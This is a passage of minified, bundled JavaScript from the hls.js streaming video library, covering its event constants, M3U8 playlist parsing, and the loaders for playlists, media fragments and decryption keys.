lsAudioTrackLoaded",SUBTITLE_TRACKS_UPDATED:"hlsSubtitleTracksUpdated",SUBTITLE_TRACK_SWITCH:"hlsSubtitleTrackSwitch",SUBTITLE_TRACK_LOADING:"hlsSubtitleTrackLoading",SUBTITLE_TRACK_LOADED:"hlsSubtitleTrackLoaded",SUBTITLE_FRAG_PROCESSED:"hlsSubtitleFragProcessed",CUES_PARSED:"hlsCuesParsed",NON_NATIVE_TEXT_TRACKS_FOUND:"hlsNonNativeTextTracksFound",INIT_PTS_FOUND:"hlsInitPtsFound",FRAG_LOADING:"hlsFragLoading",FRAG_LOAD_PROGRESS:"hlsFragLoadProgress",FRAG_LOAD_EMERGENCY_ABORTED:"hlsFragLoadEmergencyAborted",FRAG_LOADED:"hlsFragLoaded",FRAG_DECRYPTED:"hlsFragDecrypted",FRAG_PARSING_INIT_SEGMENT:"hlsFragParsingInitSegment",FRAG_PARSING_USERDATA:"hlsFragParsingUserdata",FRAG_PARSING_METADATA:"hlsFragParsingMetadata",FRAG_PARSING_DATA:"hlsFragParsingData",FRAG_PARSED:"hlsFragParsed",FRAG_BUFFERED:"hlsFragBuffered",FRAG_CHANGED:"hlsFragChanged",FPS_DROP:"hlsFpsDrop",FPS_DROP_LEVEL_CAPPING:"hlsFpsDropLevelCapping",ERROR:"hlsError",DESTROYING:"hlsDestroying",KEY_LOADING:"hlsKeyLoading",KEY_LOADED:"hlsKeyLoaded",STREAM_STATE_TRANSITION:"hlsStreamStateTransition",LIVE_BACK_BUFFER_REACHED:"hlsLiveBackBufferReached"}},"./src/hls.ts":
|
|
54
|
-
/*!*********************************!*\
|
|
55
|
-
!*** ./src/hls.ts + 38 modules ***!
|
|
56
|
-
\*********************************/
|
|
57
|
-
/*! exports provided: default */
|
|
58
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/demux/demuxer-inline.js because of ./src/demux/demuxer-worker.js */
|
|
59
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/demux/id3.js because of ./src/demux/demuxer-worker.js */
|
|
60
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/demux/mp4demuxer.js because of ./src/demux/demuxer-worker.js */
|
|
61
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/errors.ts because of ./src/demux/demuxer-worker.js */
|
|
62
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/events.js because of ./src/demux/demuxer-worker.js */
|
|
63
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/polyfills/number.js because of ./src/demux/demuxer-worker.js */
|
|
64
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/utils/get-self-scope.js because of ./src/demux/demuxer-worker.js */
|
|
65
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/utils/logger.js because of ./src/demux/demuxer-worker.js */
|
|
66
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./node_modules/eventemitter3/index.js (<- Module is not an ECMAScript module) */
|
|
67
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./node_modules/url-toolkit/src/url-toolkit.js (<- Module is not an ECMAScript module) */function(e,t,r){"use strict";r.r(t),r.d(t,"default",(function(){return tt}));var i,n,s=r("./node_modules/url-toolkit/src/url-toolkit.js"),a=r("./src/errors.ts"),o=r("./src/polyfills/number.js"),l=r("./src/events.js"),d=r("./src/utils/logger.js"),h={hlsEventGeneric:!0,hlsHandlerDestroying:!0,hlsHandlerDestroyed:!0},u=function(){function e(e){this.hls=void 0,this.handledEvents=void 0,this.useGenericHandler=void 0,this.hls=e,this.onEvent=this.onEvent.bind(this);for(var t=arguments.length,r=new Array(t>1?t-1:0),i=1;i<t;i++)r[i-1]=arguments[i];this.handledEvents=r,this.useGenericHandler=!0,this.registerListeners()}var t=e.prototype;return t.destroy=function(){this.onHandlerDestroying(),this.unregisterListeners(),this.onHandlerDestroyed()},t.onHandlerDestroying=function(){},t.onHandlerDestroyed=function(){},t.isEventHandler=function(){return"object"==typeof this.handledEvents&&this.handledEvents.length&&"function"==typeof this.onEvent},t.registerListeners=function(){this.isEventHandler()&&this.handledEvents.forEach((function(e){if(h[e])throw new Error("Forbidden event-name: "+e);this.hls.on(e,this.onEvent)}),this)},t.unregisterListeners=function(){this.isEventHandler()&&this.handledEvents.forEach((function(e){this.hls.off(e,this.onEvent)}),this)},t.onEvent=function(e,t){this.onEventGeneric(e,t)},t.onEventGeneric=function(e,t){try{(function(e,t){var r="on"+e.replace("hls","");if("function"!=typeof this[r])throw new Error("Event "+e+" has no generic handler in this "+this.constructor.name+" class (tried "+r+")");return this[r].bind(this,t)}).call(this,e,t).call()}catch(t){d.logger.error("An internal error happened while handling event "+e+'. Error message: "'+t.message+'". Here is a stacktrace:',t),this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.OTHER_ERROR,details:a.ErrorDetails.INTERNAL_EXCEPTION,fatal:!1,event:e,err:t})}},e}(),c=u;!function(e){e.MANIFEST="manifest",e.LEVEL="level",e.AUDIO_TRACK="audioTrack",e.SUBTITLE_TRACK="subtitleTrack"}(i||(i={})),function(e){e.MAIN="main",e.AUDIO="audio",e.SUBTITLE="subtitle"}(n||(n={}));var f=r("./src/demux/mp4demuxer.js");function g(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}var p,m=function(){function e(e,t){this._uri=null,this.baseuri=void 0,this.reluri=void 0,this.method=null,this.key=null,this.iv=null,this.baseuri=e,this.reluri=t}var t,r,i;return t=e,(r=[{key:"uri",get:function(){return!this._uri&&this.reluri&&(this._uri=Object(s.buildAbsoluteURL)(this.baseuri,this.reluri,{alwaysNormalize:!0})),this._uri}}])&&g(t.prototype,r),i&&g(t,i),e}();function v(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}!function(e){e.AUDIO="audio",e.VIDEO="video"}(p||(p={}));var _=function(){function e(){var e;this._url=null,this._byteRange=null,this._decryptdata=null,this._elementaryStreams=((e={})[p.AUDIO]=!1,e[p.VIDEO]=!1,e),this.deltaPTS=0,this.rawProgramDateTime=null,this.programDateTime=null,this.title=null,this.tagList=[],this.cc=void 0,this.type=void 0,this.relurl=void 0,this.baseurl=void 0,this.duration=void 0,this.start=void 0,this.sn=0,this.urlId=0,this.level=0,this.levelkey=void 0,this.loader=void 0}var t,r,i,n=e.prototype;return n.setByteRange=function(e,t){var r=e.split("@",2),i=[];1===r.length?i[0]=t?t.byteRangeEndOffset:0:i[0]=parseInt(r[1]),i[1]=parseInt(r[0])+i[0],this._byteRange=i},n.addElementaryStream=function(e){this._elementaryStreams[e]=!0},n.hasElementaryStream=function(e){return!0===this._elementaryStreams[e]},n.createInitializationVector=function(e){for(var t=new Uint8Array(16),r=12;r<16;r++)t[r]=e>>8*(15-r)&255;return t},n.setDecryptDataFromLevelKey=function(e,t){var r=e;return(null==e?void 0:e.method)&&e.uri&&!e.iv&&((r=new m(e.baseuri,e.reluri)).method=e.method,r.iv=this.createInitializationVector(t)),r},t=e,(r=[{key:"url",get:function(){return!this._url&&this.relurl&&(this._url=Object(s.buildAbsoluteURL)(this.baseurl,this.relurl,{alwaysNormalize:!0})),this._url},set:function(e){this._url=e}},{key:"byteRange",get:function(){return this._byteRange?this._byteRange:[]}},{key:"byteRangeStartOffset",get:function(){return this.byteRange[0]}},{key:"byteRangeEndOffset",get:function(){return this.byteRange[1]}},{key:"decryptdata",get:function(){if(!this.levelkey&&!this._decryptdata)return null;if(!this._decryptdata&&this.levelkey){var e=this.sn;"number"!=typeof e&&(this.levelkey&&"AES-128"===this.levelkey.method&&!this.levelkey.iv&&d.logger.warn('missing IV for initialization segment with method="'+this.levelkey.method+'" - compliance issue'),e=0),this._decryptdata=this.setDecryptDataFromLevelKey(this.levelkey,e)}return this._decryptdata}},{key:"endProgramDateTime",get:function(){if(null===this.programDateTime)return null;if(!Object(o.isFiniteNumber)(this.programDateTime))return null;var e=Object(o.isFiniteNumber)(this.duration)?this.duration:0;return this.programDateTime+1e3*e}},{key:"encrypted",get:function(){return!(!this.decryptdata||null===this.decryptdata.uri||null!==this.decryptdata.key)}}])&&v(t.prototype,r),i&&v(t,i),e}();function y(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}var E=function(){function e(e){this.endCC=0,this.endSN=0,this.fragments=[],this.initSegment=null,this.live=!0,this.needSidxRanges=!1,this.startCC=0,this.startSN=0,this.startTimeOffset=null,this.targetduration=0,this.totalduration=0,this.type=null,this.url=e,this.version=null}var t,r,i;return t=e,(r=[{key:"hasProgramDateTime",get:function(){return!(!this.fragments[0]||!Object(o.isFiniteNumber)(this.fragments[0].programDateTime))}}])&&y(t.prototype,r),i&&y(t,i),e}(),b=/^(\d+)x(\d+)$/,S=/\s*(.+?)\s*=((?:\".*?\")|.*?)(?:,|$)/g,T=function(){function e(t){for(var r in"string"==typeof t&&(t=e.parseAttrList(t)),t)t.hasOwnProperty(r)&&(this[r]=t[r])}var t=e.prototype;return t.decimalInteger=function(e){var t=parseInt(this[e],10);return t>Number.MAX_SAFE_INTEGER?1/0:t},t.hexadecimalInteger=function(e){if(this[e]){var t=(this[e]||"0x").slice(2);t=(1&t.length?"0":"")+t;for(var r=new Uint8Array(t.length/2),i=0;i<t.length/2;i++)r[i]=parseInt(t.slice(2*i,2*i+2),16);return r}return null},t.hexadecimalIntegerAsNumber=function(e){var t=parseInt(this[e],16);return t>Number.MAX_SAFE_INTEGER?1/0:t},t.decimalFloatingPoint=function(e){return parseFloat(this[e])},t.enumeratedString=function(e){return this[e]},t.decimalResolution=function(e){var t=b.exec(this[e]);if(null!==t)return{width:parseInt(t[1],10),height:parseInt(t[2],10)}},e.parseAttrList=function(e){var t,r={};for(S.lastIndex=0;null!==(t=S.exec(e));){var i=t[2];0===i.indexOf('"')&&i.lastIndexOf('"')===i.length-1&&(i=i.slice(1,-1)),r[t[1]]=i}return r},e}(),w={audio:{a3ds:!0,"ac-3":!0,"ac-4":!0,alac:!0,alaw:!0,dra1:!0,"dts+":!0,"dts-":!0,dtsc:!0,dtse:!0,dtsh:!0,"ec-3":!0,enca:!0,g719:!0,g726:!0,m4ae:!0,mha1:!0,mha2:!0,mhm1:!0,mhm2:!0,mlpa:!0,mp4a:!0,"raw ":!0,Opus:!0,samr:!0,sawb:!0,sawp:!0,sevc:!0,sqcp:!0,ssmv:!0,twos:!0,ulaw:!0},video:{avc1:!0,avc2:!0,avc3:!0,avc4:!0,avcp:!0,drac:!0,dvav:!0,dvhe:!0,encv:!0,hev1:!0,hvc1:!0,mjp2:!0,mp4v:!0,mvc1:!0,mvc2:!0,mvc3:!0,mvc4:!0,resv:!0,rv60:!0,s263:!0,svc1:!0,svc2:!0,"vc-1":!0,vp08:!0,vp09:!0}};function A(e,t){return MediaSource.isTypeSupported((t||"video")+'/mp4;codecs="'+e+'"')}var P=/(?:#EXT-X-STREAM-INF:([^\n\r]*)[\r\n]+([^\r\n]+)|#EXT-X-SESSION-DATA:([^\n\r]*)[\r\n]+)/g,L=/#EXT-X-MEDIA:(.*)/g,R=new RegExp([/#EXTINF:\s*(\d*(?:\.\d+)?)(?:,(.*)\s+)?/.source,/|(?!#)([\S+ ?]+)/.source,/|#EXT-X-BYTERANGE:*(.+)/.source,/|#EXT-X-PROGRAM-DATE-TIME:(.+)/.source,/|#.*/.source].join(""),"g"),I=/(?:(?:#(EXTM3U))|(?:#EXT-X-(PLAYLIST-TYPE):(.+))|(?:#EXT-X-(MEDIA-SEQUENCE): *(\d+))|(?:#EXT-X-(TARGETDURATION): *(\d+))|(?:#EXT-X-(KEY):(.+))|(?:#EXT-X-(START):(.+))|(?:#EXT-X-(ENDLIST))|(?:#EXT-X-(DISCONTINUITY-SEQ)UENCE:(\d+))|(?:#EXT-X-(DIS)CONTINUITY))|(?:#EXT-X-(VERSION):(\d+))|(?:#EXT-X-(MAP):(.+))|(?:(#)([^:]*):(.*))|(?:(#)(.*))(?:.*)\r?\n?/,D=/\.(mp4|m4s|m4v|m4a)$/i,C=function(){function e(){}return e.findGroup=function(e,t){for(var r=0;r<e.length;r++){var i=e[r];if(i.id===t)return i}},e.convertAVC1ToAVCOTI=function(e){var t,r=e.split(".");return r.length>2?(t=r.shift()+".",t+=parseInt(r.shift()).toString(16),t+=("000"+parseInt(r.shift()).toString(16)).substr(-4)):t=e,t},e.resolve=function(e,t){return s.buildAbsoluteURL(t,e,{alwaysNormalize:!0})},e.parseMasterPlaylist=function(t,r){var i,n=[],s={},a=!1;function o(e,t){["video","audio"].forEach((function(r){var i=e.filter((function(e){return function(e,t){var r=w[t];return!!r&&!0===r[e.slice(0,4)]}(e,r)}));if(i.length){var n=i.filter((function(e){return 0===e.lastIndexOf("avc1",0)||0===e.lastIndexOf("mp4a",0)}));t[r+"Codec"]=n.length>0?n[0]:i[0],e=e.filter((function(e){return-1===i.indexOf(e)}))}})),t.unknownCodecs=e}for(P.lastIndex=0;null!=(i=P.exec(t));)if(i[1]){var l={},d=l.attrs=new T(i[1]);l.url=e.resolve(i[2],r);var h=d.decimalResolution("RESOLUTION");h&&(l.width=h.width,l.height=h.height),l.bitrate=d.decimalInteger("AVERAGE-BANDWIDTH")||d.decimalInteger("BANDWIDTH"),l.name=d.NAME,o([].concat((d.CODECS||"").split(/[ ,]+/)),l),l.videoCodec&&-1!==l.videoCodec.indexOf("avc1")&&(l.videoCodec=e.convertAVC1ToAVCOTI(l.videoCodec)),n.push(l)}else if(i[3]){var u=new T(i[3]);u["DATA-ID"]&&(a=!0,s[u["DATA-ID"]]=u)}return{levels:n,sessionData:a?s:null}},e.parseMasterPlaylistMedia=function(t,r,i,n){var s;void 0===n&&(n=[]);var a=[],o=0;for(L.lastIndex=0;null!==(s=L.exec(t));){var l=new T(s[1]);if(l.TYPE===i){var d={attrs:l,id:o++,groupId:l["GROUP-ID"],instreamId:l["INSTREAM-ID"],name:l.NAME||l.LANGUAGE,type:i,default:"YES"===l.DEFAULT,autoselect:"YES"===l.AUTOSELECT,forced:"YES"===l.FORCED,lang:l.LANGUAGE};if(l.URI&&(d.url=e.resolve(l.URI,r)),n.length){var h=e.findGroup(n,d.groupId);d.audioCodec=h?h.codec:n[0].codec}a.push(d)}}return a},e.parseLevelPlaylist=function(e,t,r,i,n){var s,a,l,h=0,u=0,c=new E(t),f=0,g=null,p=new _,v=null;for(R.lastIndex=0;null!==(s=R.exec(e));){var y=s[1];if(y){p.duration=parseFloat(y);var b=(" "+s[2]).slice(1);p.title=b||null,p.tagList.push(b?["INF",y,b]:["INF",y])}else if(s[3]){if(Object(o.isFiniteNumber)(p.duration)){var S=h++;p.type=i,p.start=u,l&&(p.levelkey=l),p.sn=S,p.level=r,p.cc=f,p.urlId=n,p.baseurl=t,p.relurl=(" "+s[3]).slice(1),k(p,g),c.fragments.push(p),g=p,u+=p.duration,p=new _}}else if(s[4]){var w=(" "+s[4]).slice(1);g?p.setByteRange(w,g):p.setByteRange(w)}else if(s[5])p.rawProgramDateTime=(" "+s[5]).slice(1),p.tagList.push(["PROGRAM-DATE-TIME",p.rawProgramDateTime]),null===v&&(v=c.fragments.length);else{if(!(s=s[0].match(I))){d.logger.warn("No matches on slow regex match for level playlist!");continue}for(a=1;a<s.length&&void 0===s[a];a++);var A=(" "+s[a+1]).slice(1),P=(" "+s[a+2]).slice(1);switch(s[a]){case"#":p.tagList.push(P?[A,P]:[A]);break;case"PLAYLIST-TYPE":c.type=A.toUpperCase();break;case"MEDIA-SEQUENCE":h=c.startSN=parseInt(A);break;case"TARGETDURATION":c.targetduration=parseFloat(A);break;case"VERSION":c.version=parseInt(A);break;case"EXTM3U":break;case"ENDLIST":c.live=!1;break;case"DIS":f++,p.tagList.push(["DIS"]);break;case"DISCONTINUITY-SEQ":f=parseInt(A);break;case"KEY":var L=new T(A),C=L.enumeratedString("METHOD"),x=L.URI,O=L.hexadecimalInteger("IV");if("com.apple.streamingkeydelivery"===(L.KEYFORMAT||"identity")){d.logger.warn("Keyformat com.apple.streamingkeydelivery is not supported");continue}C&&(l=new m(t,x),x&&["AES-128","SAMPLE-AES","SAMPLE-AES-CENC"].indexOf(C)>=0&&(l.method=C,l.key=null,l.iv=O));break;case"START":var M=new T(A).decimalFloatingPoint("TIME-OFFSET");Object(o.isFiniteNumber)(M)&&(c.startTimeOffset=M);break;case"MAP":var N=new T(A);p.relurl=N.URI,N.BYTERANGE&&p.setByteRange(N.BYTERANGE),p.baseurl=t,p.level=r,p.type=i,p.sn="initSegment",c.initSegment=p,(p=new _).rawProgramDateTime=c.initSegment.rawProgramDateTime;break;default:d.logger.warn("line parsed but not handled: "+s)}}}return(p=g)&&!p.relurl&&(c.fragments.pop(),u-=p.duration),c.totalduration=u,c.averagetargetduration=u/c.fragments.length,c.endSN=h-1,c.startCC=c.fragments[0]?c.fragments[0].cc:0,c.endCC=f,!c.initSegment&&c.fragments.length&&c.fragments.every((function(e){return D.test(e.relurl)}))&&(d.logger.warn("MP4 fragments found but no init segment (probably no MAP, incomplete M3U8), trying to fetch SIDX"),(p=new _).relurl=c.fragments[0].relurl,p.baseurl=t,p.level=r,p.type=i,p.sn="initSegment",c.initSegment=p,c.needSidxRanges=!0),v&&function(e,t){for(var r=e[t],i=t-1;i>=0;i--){var n=e[i];n.programDateTime=r.programDateTime-1e3*n.duration,r=n}}(c.fragments,v),c},e}();function k(e,t){e.rawProgramDateTime?e.programDateTime=Date.parse(e.rawProgramDateTime):(null==t?void 0:t.programDateTime)&&(e.programDateTime=t.endProgramDateTime),Object(o.isFiniteNumber)(e.programDateTime)||(e.programDateTime=null,e.rawProgramDateTime=null)}var x=window.performance,O=function(e){var t,r;function s(t){var r;return(r=e.call(this,t,l.default.MANIFEST_LOADING,l.default.LEVEL_LOADING,l.default.AUDIO_TRACK_LOADING,l.default.SUBTITLE_TRACK_LOADING)||this).loaders={},r}r=e,(t=s).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r,s.canHaveQualityLevels=function(e){return e!==i.AUDIO_TRACK&&e!==i.SUBTITLE_TRACK},s.mapContextToLevelType=function(e){switch(e.type){case i.AUDIO_TRACK:return n.AUDIO;case i.SUBTITLE_TRACK:return n.SUBTITLE;default:return n.MAIN}},s.getResponseUrl=function(e,t){var r=e.url;return void 0!==r&&0!==r.indexOf("data:")||(r=t.url),r};var h=s.prototype;return h.createInternalLoader=function(e){var t=this.hls.config,r=t.pLoader,i=t.loader,n=new(r||i)(t);return e.loader=n,this.loaders[e.type]=n,n},h.getInternalLoader=function(e){return this.loaders[e.type]},h.resetInternalLoader=function(e){this.loaders[e]&&delete this.loaders[e]},h.destroyInternalLoaders=function(){for(var e in this.loaders){var t=this.loaders[e];t&&t.destroy(),this.resetInternalLoader(e)}},h.destroy=function(){this.destroyInternalLoaders(),e.prototype.destroy.call(this)},h.onManifestLoading=function(e){this.load({url:e.url,type:i.MANIFEST,level:0,id:null,responseType:"text"})},h.onLevelLoading=function(e){this.load({url:e.url,type:i.LEVEL,level:e.level,id:e.id,responseType:"text"})},h.onAudioTrackLoading=function(e){this.load({url:e.url,type:i.AUDIO_TRACK,level:null,id:e.id,responseType:"text"})},h.onSubtitleTrackLoading=function(e){this.load({url:e.url,type:i.SUBTITLE_TRACK,level:null,id:e.id,responseType:"text"})},h.load=function(e){var t=this.hls.config;d.logger.debug("Loading playlist of type "+e.type+", level: "+e.level+", id: "+e.id);var r,n,s,a,o=this.getInternalLoader(e);if(o){var l=o.context;if(l&&l.url===e.url)return d.logger.trace("playlist request ongoing"),!1;d.logger.warn("aborting previous loader for type: "+e.type),o.abort()}switch(e.type){case i.MANIFEST:r=t.manifestLoadingMaxRetry,n=t.manifestLoadingTimeOut,s=t.manifestLoadingRetryDelay,a=t.manifestLoadingMaxRetryTimeout;break;case i.LEVEL:r=0,a=0,s=0,n=t.levelLoadingTimeOut;break;default:r=t.levelLoadingMaxRetry,n=t.levelLoadingTimeOut,s=t.levelLoadingRetryDelay,a=t.levelLoadingMaxRetryTimeout}o=this.createInternalLoader(e);var h={timeout:n,maxRetry:r,retryDelay:s,maxRetryDelay:a},u={onSuccess:this.loadsuccess.bind(this),onError:this.loaderror.bind(this),onTimeout:this.loadtimeout.bind(this)};return d.logger.debug("Calling internal loader delegate for URL: "+e.url),o.load(e,h,u),!0},h.loadsuccess=function(e,t,r,i){if(void 0===i&&(i=null),r.isSidxRequest)return this._handleSidxRequest(e,r),void this._handlePlaylistLoaded(e,t,r,i);if(this.resetInternalLoader(r.type),"string"!=typeof e.data)throw new Error('expected responseType of "text" for PlaylistLoader');var n=e.data;t.tload=x.now(),0===n.indexOf("#EXTM3U")?n.indexOf("#EXTINF:")>0||n.indexOf("#EXT-X-TARGETDURATION:")>0?this._handleTrackOrLevelPlaylist(e,t,r,i):this._handleMasterPlaylist(e,t,r,i):this._handleManifestParsingError(e,r,"no EXTM3U delimiter",i)},h.loaderror=function(e,t,r){void 0===r&&(r=null),this._handleNetworkError(t,r,!1,e)},h.loadtimeout=function(e,t,r){void 0===r&&(r=null),this._handleNetworkError(t,r,!0)},h._handleMasterPlaylist=function(e,t,r,i){var n=this.hls,a=e.data,o=s.getResponseUrl(e,r),h=C.parseMasterPlaylist(a,o),u=h.levels,c=h.sessionData;if(u.length){var f=u.map((function(e){return{id:e.attrs.AUDIO,codec:e.audioCodec}})),g=C.parseMasterPlaylistMedia(a,o,"AUDIO",f),p=C.parseMasterPlaylistMedia(a,o,"SUBTITLES"),m=C.parseMasterPlaylistMedia(a,o,"CLOSED-CAPTIONS");if(g.length){var v=!1;g.forEach((function(e){e.url||(v=!0)})),!1===v&&u[0].audioCodec&&!u[0].attrs.AUDIO&&(d.logger.log("audio codec signaled in quality level, but no embedded audio track signaled, create one"),g.unshift({type:"main",name:"main",default:!1,autoselect:!1,forced:!1,id:-1,attrs:{},url:""}))}n.trigger(l.default.MANIFEST_LOADED,{levels:u,audioTracks:g,subtitles:p,captions:m,url:o,stats:t,networkDetails:i,sessionData:c})}else this._handleManifestParsingError(e,r,"no level found in manifest",i)},h._handleTrackOrLevelPlaylist=function(e,t,r,n){var d=this.hls,h=r.id,u=r.level,c=r.type,f=s.getResponseUrl(e,r),g=Object(o.isFiniteNumber)(h)?h:0,p=Object(o.isFiniteNumber)(u)?u:g,m=s.mapContextToLevelType(r),v=C.parseLevelPlaylist(e.data,f,p,m,g);if(v.tload=t.tload,v.fragments.length){if(c===i.MANIFEST){var _={url:f,details:v};d.trigger(l.default.MANIFEST_LOADED,{levels:[_],audioTracks:[],url:f,stats:t,networkDetails:n,sessionData:null})}if(t.tparsed=x.now(),v.needSidxRanges){var y=v.initSegment.url;this.load({url:y,isSidxRequest:!0,type:c,level:u,levelDetails:v,id:h,rangeStart:0,rangeEnd:2048,responseType:"arraybuffer"})}else r.levelDetails=v,this._handlePlaylistLoaded(e,t,r,n)}else d.trigger(l.default.ERROR,{type:a.ErrorTypes.NETWORK_ERROR,details:a.ErrorDetails.LEVEL_EMPTY_ERROR,fatal:!1,url:f,reason:"no fragments found in level",level:"number"==typeof r.level?r.level:void 0})},h._handleSidxRequest=function(e,t){if("string"==typeof e.data)throw new Error("sidx request must be made with responseType of array buffer");var r=f.default.parseSegmentIndex(new Uint8Array(e.data));if(r){var i=r.references,n=t.levelDetails;i.forEach((function(e,t){var r=e.info;if(n){var i=n.fragments[t];0===i.byteRange.length&&i.setByteRange(String(1+r.end-r.start)+"@"+String(r.start))}})),n&&n.initSegment.setByteRange(String(r.moovEndOffset)+"@0")}},h._handleManifestParsingError=function(e,t,r,i){this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.NETWORK_ERROR,details:a.ErrorDetails.MANIFEST_PARSING_ERROR,fatal:!0,url:e.url,reason:r,networkDetails:i})},h._handleNetworkError=function(e,t,r,n){var s,o;void 0===r&&(r=!1),void 0===n&&(n=null),d.logger.info("A network error occured while loading a "+e.type+"-type playlist");var h=this.getInternalLoader(e);switch(e.type){case i.MANIFEST:s=r?a.ErrorDetails.MANIFEST_LOAD_TIMEOUT:a.ErrorDetails.MANIFEST_LOAD_ERROR,o=!0;break;case i.LEVEL:s=r?a.ErrorDetails.LEVEL_LOAD_TIMEOUT:a.ErrorDetails.LEVEL_LOAD_ERROR,o=!1;break;case i.AUDIO_TRACK:s=r?a.ErrorDetails.AUDIO_TRACK_LOAD_TIMEOUT:a.ErrorDetails.AUDIO_TRACK_LOAD_ERROR,o=!1;break;default:o=!1}h&&(h.abort(),this.resetInternalLoader(e.type));var u={type:a.ErrorTypes.NETWORK_ERROR,details:s,fatal:o,url:e.url,loader:h,context:e,networkDetails:t};n&&(u.response=n),this.hls.trigger(l.default.ERROR,u)},h._handlePlaylistLoaded=function(e,t,r,n){var a=r.type,o=r.level,d=r.id,h=r.levelDetails;if(h&&h.targetduration)if(s.canHaveQualityLevels(r.type))this.hls.trigger(l.default.LEVEL_LOADED,{details:h,level:o||0,id:d||0,stats:t,networkDetails:n});else switch(a){case i.AUDIO_TRACK:this.hls.trigger(l.default.AUDIO_TRACK_LOADED,{details:h,id:d,stats:t,networkDetails:n});break;case i.SUBTITLE_TRACK:this.hls.trigger(l.default.SUBTITLE_TRACK_LOADED,{details:h,id:d,stats:t,networkDetails:n})}else this._handleManifestParsingError(e,r,"invalid target duration",n)},s}(c),M=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.FRAG_LOADING)||this).loaders={},r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.destroy=function(){var t=this.loaders;for(var r in t){var i=t[r];i&&i.destroy()}this.loaders={},e.prototype.destroy.call(this)},n.onFragLoading=function(e){var t=e.frag,r=t.type,i=this.loaders,n=this.hls.config,s=n.fLoader,a=n.loader;t.loaded=0;var l,h,u,c=i[r];c&&(d.logger.warn("abort previous fragment loader for type: "+r),c.abort()),c=i[r]=t.loader=n.fLoader?new s(n):new a(n),l={url:t.url,frag:t,responseType:"arraybuffer",progressData:!1};var f=t.byteRangeStartOffset,g=t.byteRangeEndOffset;Object(o.isFiniteNumber)(f)&&Object(o.isFiniteNumber)(g)&&(l.rangeStart=f,l.rangeEnd=g),h={timeout:n.fragLoadingTimeOut,maxRetry:0,retryDelay:0,maxRetryDelay:n.fragLoadingMaxRetryTimeout},u={onSuccess:this.loadsuccess.bind(this),onError:this.loaderror.bind(this),onTimeout:this.loadtimeout.bind(this),onProgress:this.loadprogress.bind(this)},c.load(l,h,u)},n.loadsuccess=function(e,t,r,i){void 0===i&&(i=null);var n=e.data,s=r.frag;s.loader=void 0,this.loaders[s.type]=void 0,this.hls.trigger(l.default.FRAG_LOADED,{payload:n,frag:s,stats:t,networkDetails:i})},n.loaderror=function(e,t,r){void 0===r&&(r=null);var i=t.frag,n=i.loader;n&&n.abort(),this.loaders[i.type]=void 0,this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.NETWORK_ERROR,details:a.ErrorDetails.FRAG_LOAD_ERROR,fatal:!1,frag:t.frag,response:e,networkDetails:r})},n.loadtimeout=function(e,t,r){void 0===r&&(r=null);var i=t.frag,n=i.loader;n&&n.abort(),this.loaders[i.type]=void 0,this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.NETWORK_ERROR,details:a.ErrorDetails.FRAG_LOAD_TIMEOUT,fatal:!1,frag:t.frag,networkDetails:r})},n.loadprogress=function(e,t,r,i){void 0===i&&(i=null);var n=t.frag;n.loaded=e.loaded,this.hls.trigger(l.default.FRAG_LOAD_PROGRESS,{frag:n,stats:e,networkDetails:i})},i}(c),N=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.KEY_LOADING)||this).loaders={},r.decryptkey=null,r.decrypturl=null,r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.destroy=function(){for(var t in this.loaders){var r=this.loaders[t];r&&r.destroy()}this.loaders={},e.prototype.destroy.call(this)},n.onKeyLoading=function(e){var t=e.frag,r=t.type,i=this.loaders[r];if(t.decryptdata){var n=t.decryptdata.uri;if(n!==this.decrypturl||null===this.decryptkey){var s=this.hls.config;if(i&&(d.logger.warn("abort previous key loader for type:"+r),i.abort()),!n)return void d.logger.warn("key uri is falsy");t.loader=this.loaders[r]=new s.loader(s),this.decrypturl=n,this.decryptkey=null;var a={url:n,frag:t,responseType:"arraybuffer"},o={timeout:s.fragLoadingTimeOut,maxRetry:0,retryDelay:s.fragLoadingRetryDelay,maxRetryDelay:s.fragLoadingMaxRetryTimeout},h={onSuccess:this.loadsuccess.bind(this),onError:this.loaderror.bind(this),onTimeout:this.loadtimeout.bind(this)};t.loader.load(a,o,h)}else this.decryptkey&&(t.decryptdata.key=this.decryptkey,this.hls.trigger(l.default.KEY_LOADED,{frag:t}))}else d.logger.warn("Missing decryption data on fragment in onKeyLoading")},n.loadsuccess=function(e,t,r){var i=r.frag;i.decryptdata?(this.decryptkey=i.decryptdata.key=new Uint8Array(e.data),i.loader=void 0,delete this.loaders[i.type],this.hls.trigger(l.default.KEY_LOADED,{frag:i})):d.logger.error("after key load, decryptdata unset")},n.loaderror=function(e,t){var r=t.frag,i=r.loader;i&&i.abort(),delete this.loaders[r.type],this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.NETWORK_ERROR,details:a.ErrorDetails.KEY_LOAD_ERROR,fatal:!1,frag:r,response:e})},n.loadtimeout=function(e,t){var r=t.frag,i=r.loader;i&&i.abort(),delete 